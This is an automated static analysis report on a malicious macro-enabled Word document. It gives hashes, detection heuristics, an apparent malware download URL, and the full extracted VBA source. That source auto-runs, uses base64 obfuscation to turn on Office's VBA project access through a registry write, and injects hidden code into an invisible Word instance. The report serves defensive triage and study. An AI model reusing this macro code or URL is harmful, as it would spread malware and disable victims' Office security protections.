Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d7f85f95bfb70f16…

MALICIOUS

Office (OOXML)

100.8 KB Created: 2021-04-28 04:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 12eaf924a6bcf9761d36a69246dc63ba SHA-1: 487d59c762c4155379409378e89ff1d109e6c54f SHA-256: d7f85f95bfb70f163c1b91c3f08c4e334234b255f89a73f7457b6c23e0fb6f0d
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    loadArray.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString dataDatabaseWindow
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set convertScreen = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gaze-baker2019.com/bijol/R6VG429JlKVk0FjGULVwowS/30640/1ZmzCiT2zyXb6BwCVO2qg1veQym5RgBB4uG/5zvkoKAlfaGp0iVJv7T355FyAcRZnSzy/mYCpmth/MzqN5mC/ZHD7iEv/62513/kOyBudWvtF5X0wr2iBYl4haYynZvsfT/98887/laka2?sid=bm2lo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2896 bytes
SHA-256: bc508fba15d0d98a9680564117723bfe90427da779687d0b7dc5a43a702172f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{18001CB9-A34B-4AD4-A828-34AD58832A65}{6921EF07-9657-45AB-AE30-B9D6B8F15955}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "trustSelect"
Sub autoopen()
linkWindowDocument
Dim linkRequestProc As String
linkRequestProc = nextMainTextbox
optionArrayBuffer linkRequestProc
End Sub

Attribute VB_Name = "titleLink"
Function selectTrust(titleDeleteSwap As String) As Variant
Dim convertScreen As Object
Dim procedureFunc As Object
Set convertScreen = CreateObject("msxml2.domdocument")
Set procedureFunc = convertScreen.createElement("code")
procedureFunc.DataType = "bin.base64"
procedureFunc.Text = titleDeleteSwap
selectTrust = procedureFunc.nodeTypedValue
End Function
Function linkOptionLocal(responseIteratorConst, procedureSelect)
linkOptionLocal = StrConv(responseIteratorConst, procedureSelect)
End Function

Attribute VB_Name = "constRequest"
Sub optionArrayBuffer(dataDatabaseWindow As String)
Set valueBufferClass = CreateObject("word.application")
Set loadArray = valueBufferClass.Documents.Add
loadArray.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString dataDatabaseWindow
valueBufferClass.Visible = False
valueBufferClass.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "rightEx"
Function optionLeftVb() As String
optionLeftVb = Application.Version
End Function
Function ptrButton()
ptrButton = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function collectionEx()
collectionEx = "cript.sh"
End Function
Function titleConstResponse()
titleConstResponse = "VjdXJpdHlcQWN"
End Function
Sub linkWindowDocument()
loadTrust = linkOptionLocal(selectTrust("SEtFWV9DVVJSR" & ptrButton & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
trustList = optionLeftVb
optionGeneric = linkOptionLocal(selectTrust("XFdvcmRcU2" & titleConstResponse & "jZXNzVkJPTQ=="), vbUnicode)
variableListbox = loadTrust & trustList & optionGeneric
With CreateObject("ws" & collectionEx & "ell")
.RegWrite variableListbox, 1, "REG_DWORD"
End With
End Sub
Public Function iteratorLocalRemove(ByVal queryMemory As String) As String
For ExListData = 1 To Len(queryMemory) Step 2
tmpConst = Chr$(Val("&H" & Mid$(queryMemory, ExListData, 2)))
procExCount = procExCount & tmpConst
Next ExListData
iteratorLocalRemove = procExCount
End Function
Function nextMainTextbox()
nextMainTextbox = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: e5b03ae2a5fb74e4a42ceb602d4f08814483429e451f407af90f7fc52fb12af3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).